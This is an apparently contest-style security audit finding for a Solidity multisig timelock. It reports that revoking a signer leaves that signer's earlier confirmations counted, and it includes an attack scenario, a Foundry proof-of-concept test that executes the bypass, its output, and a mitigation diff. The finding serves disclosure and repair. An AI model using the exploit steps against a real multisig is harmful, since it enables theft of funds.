Description
When a signer is revoked using revokeSigningRole(), their previous confirmations on pending transactions remain valid. This completely breaks the "3-of-5 multisig" security promise because transactions can execute with fewer current signers than required.
When revokeSigningRole() removes a signer, it updates their signer status but doesn't touch their existing confirmations:
function revokeSigningRole(address _account) external {
s_signers[indexToRemove] = s_signers[s_signerCount - 1];
s_signers[s_signerCount - 1] = address(0);
s_signerCount -= 1;
s_isSigner[_account] = false;
_revokeRole(SIGNING_ROLE, _account);
}
When executing, the contract only checks the confirmation count, not whether those signers are still valid:
function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
if (txn.confirmations < REQUIRED_CONFIRMATIONS) {
revert MultiSigTimelock__InsufficientConfirmations(...);
}
}
Risk
Likelihood:
Impact:
-
Complete breakdown of multisig security model
-
Owner can manipulate signer list after getting confirmations to bypass protections
-
Transactions can execute with only 1-2 current signers instead of required 3
-
Total fund loss possible
Example Attack:
Malicious owner proposes transaction: "Send 100 ETH to my wallet"
Gets Alice, Bob, Charlie to confirm (3/5 signers)
Owner immediately revokes Bob and Charlie
Transaction executes with only 1 current signer (Alice) + 2 revoked signers
This is effectively a 1-of-3 multisig, not 3-of-5
Proof of Concept
Add this test to MultiSigTimelockTest.t.sol:
function test_RevokedSignerConfirmationStillCounts() public grantSigningRoles {
uint256 AMOUNT_TO_SEND = 1 ether;
vm.deal(address(multiSigTimelock), 10 ether);
vm.prank(OWNER);
uint256 txnId = multiSigTimelock.proposeTransaction(SPENDER_ONE, AMOUNT_TO_SEND, hex"");
vm.prank(OWNER);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_TWO);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_THREE);
multiSigTimelock.confirmTransaction(txnId);
MultiSigTimelock.Transaction memory txnBefore = multiSigTimelock.getTransaction(txnId);
console2.log("Confirmations before revocation:", txnBefore.confirmations);
console2.log("SIGNER_THREE is signer:",
multiSigTimelock.hasRole(multiSigTimelock.getSigningRole(), SIGNER_THREE));
multiSigTimelock.revokeSigningRole(SIGNER_THREE);
MultiSigTimelock.Transaction memory txnAfter = multiSigTimelock.getTransaction(txnId);
console2.log("\nAfter revocation:");
console2.log("Total active signers:", multiSigTimelock.getSignerCount());
console2.log("SIGNER_THREE is signer:",
multiSigTimelock.hasRole(multiSigTimelock.getSigningRole(), SIGNER_THREE));
console2.log("Confirmations still:", txnAfter.confirmations);
console2.log("Current signers who confirmed: Only 2 (OWNER & SIGNER_TWO)");
vm.warp(block.timestamp + 1 days + 1);
vm.prank(OWNER);
multiSigTimelock.executeTransaction(txnId);
assertTrue(multiSigTimelock.getTransaction(txnId).executed);
assertEq(SPENDER_ONE.balance, AMOUNT_TO_SEND);
console2.log("\nVULNERABILITY: Transaction executed with only 2 current signers!");
}
Run with: forge test --mt test_RevokedSignerConfirmationStillCounts -vv
Output shows transaction executes even though only 2 current signers confirmed it:
Confirmations before revocation: 3
SIGNER_THREE is signer: true
After revocation:
Total active signers: 4
SIGNER_THREE is signer: false
Confirmations still: 3
Current signers who confirmed: Only 2 (OWNER & SIGNER_TWO)
VULNERABILITY: Transaction executed with only 2 current signers!
Recommended Mitigation
When revoking a signer, invalidate their past confirmations on all pending transactions:
function revokeSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
// ... existing checks ...
// Gas-efficient array removal
if (indexToRemove < s_signerCount - 1) {
s_signers[indexToRemove] = s_signers[s_signerCount - 1];
}
s_signers[s_signerCount - 1] = address(0);
s_signerCount -= 1;
+ // Invalidate all pending confirmations from this signer
+ for (uint256 i = 0; i < s_transactionCount; i++) {
+ if (!s_transactions[i].executed && s_signatures[i][_account]) {
+ s_signatures[i][_account] = false;
+ s_transactions[i].confirmations--;
+ }
+ }
s_isSigner[_account] = false;
_revokeRole(SIGNING_ROLE, _account);
}
This ensures the confirmation count accurately reflects only current, authorized signers. Transactions that fall below 3 confirmations after revocation will need to be re-confirmed by remaining signers before execution.
